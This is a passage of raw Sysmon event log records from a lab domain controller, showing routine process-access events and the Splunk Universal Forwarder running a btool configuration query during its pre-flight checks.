Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005245Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005244Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005243Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005242Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005241Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005240Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005239Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005238Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005237Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005236Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-2951-5F80-2101-000000007F01}3984C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005235Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-2951-5F80-2001-000000007F01}48564880C:\Windows\system32\cmd.exe{A5F018FF-2951-5F80-2101-000000007F01}3984C:\Program Files\SplunkUniversalForwarder\bin\btool.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005234Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.786{A5F018FF-2951-5F80-2101-000000007F01}3984C:\Program Files\SplunkUniversalForwarder\bin\btool.exe8.0.2btoolsplunk ApplicationSplunk Inc.btool.exebtool server list replication_port --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=BC53EBF68CFA6E8A254D89ABEC89A65D,SHA256=97024B4A7182D9C253B1AC4E56A1C8F3BC8808B79E6D022EF27B95003622F0A4,IMPHASH=572E0CF4672412FA940B0E1835926B3B{A5F018FF-2951-5F80-2001-000000007F01}4856C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /c btool server list replication_port --no-log 10341000x80000000000000005233Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2951-5F80-2001-000000007F01}4856C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005232Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005231Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005230Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005229Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005228Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005227Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005226Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005225Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005224Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005223Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2951-5F80-2001-000000007F01}4856C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005222Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.774{A5F018FF-294F-5F80-1601-000000007F01}44924100C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe{A5F018FF-2951-5F80-2001-000000007F01}4856C:\Windows\system32\cmd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\ucrtbase.dll+9ea4a|C:\Windows\System32\ucrtbase.dll+9e42e|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+43bc6|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+18274|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+1adfc|C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe+4cf68|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005221Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.781{A5F018FF-2951-5F80-2001-000000007F01}4856C:\Windows\System32\cmd.exe10.0.14393.0 (rs1_release.160715-1616)Windows Command ProcessorMicrosoft® Windows® Operating SystemMicrosoft CorporationCmd.ExeC:\Windows\system32\cmd.exe /c btool server list replication_port --no-logC:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A{A5F018FF-294F-5F80-1601-000000007F01}4492C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe" _internal pre-flight-checks --answer-yes --no-prompt 10341000x80000000000000005220Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.696{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-2951-5F80-1F01-000000007F01}4544C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005219Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:45.696{A5F018FF-2951-5F80-1F01-000000007F01}45442884C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+116e675|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+116e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+f344c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+f2a91|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+19fdb50|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005218Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 